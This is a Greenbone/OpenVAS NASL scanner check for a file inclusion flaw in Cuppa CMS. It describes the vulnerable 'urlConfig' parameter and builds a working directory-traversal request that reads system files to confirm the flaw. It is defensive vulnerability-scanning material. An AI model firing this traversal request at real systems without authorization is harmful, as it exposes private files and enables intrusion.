Cuppa CMS Remote/Local File Inclusion Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803805");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"cvss_base", value:"7.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2013-06-06 10:36:14 +0530 (Thu, 06 Jun 2013)");
  script_name("Cuppa CMS Remote/Local File Inclusion Vulnerability");
  script_xref(name:"URL", value:"http://1337day.com/exploit/20855");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/25971");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/121881/cuppacms-rfi.txt");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/cuppa-cms-remote-local-file-inclusion");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to read
  or include arbitrary files from the local system using directory traversal
  sequences on the target system.");

  script_tag(name:"affected", value:"Cuppa CMS beta version 0.1");

  script_tag(name:"insight", value:"Improper sanitation of user supplied input via 'urlConfig'
  parameter to 'alerts/alertConfigField.php' script.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Cuppa CMS is prone to a file inclusion vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port(default:80);

if(!http_can_host_php(port:port))
  exit(0);

files = traversal_files();

foreach dir (make_list_unique("/", "/cuppa", "/cms", http_cgi_dirs(port:port)))
{

  if( dir == "/" ) dir = "";

  rcvRes = http_get_cache(item: dir + "/index.php", port:port);

  if(rcvRes && ">Cuppa CMS" >< rcvRes && "Username<" >< rcvRes)
  {

    foreach file (keys(files))
    {
      url = dir + "/alerts/alertConfigField.php?urlConfig=" +
                  crap(data:"../",length:3*15) + files[file];

      if(http_vuln_check(port:port, url:url, pattern:file))
      {
        report = http_report_vuln_url( port:port, url:url );
        security_message(port:port, data:report);
        exit(0);
      }
    }
  }
}

exit(99);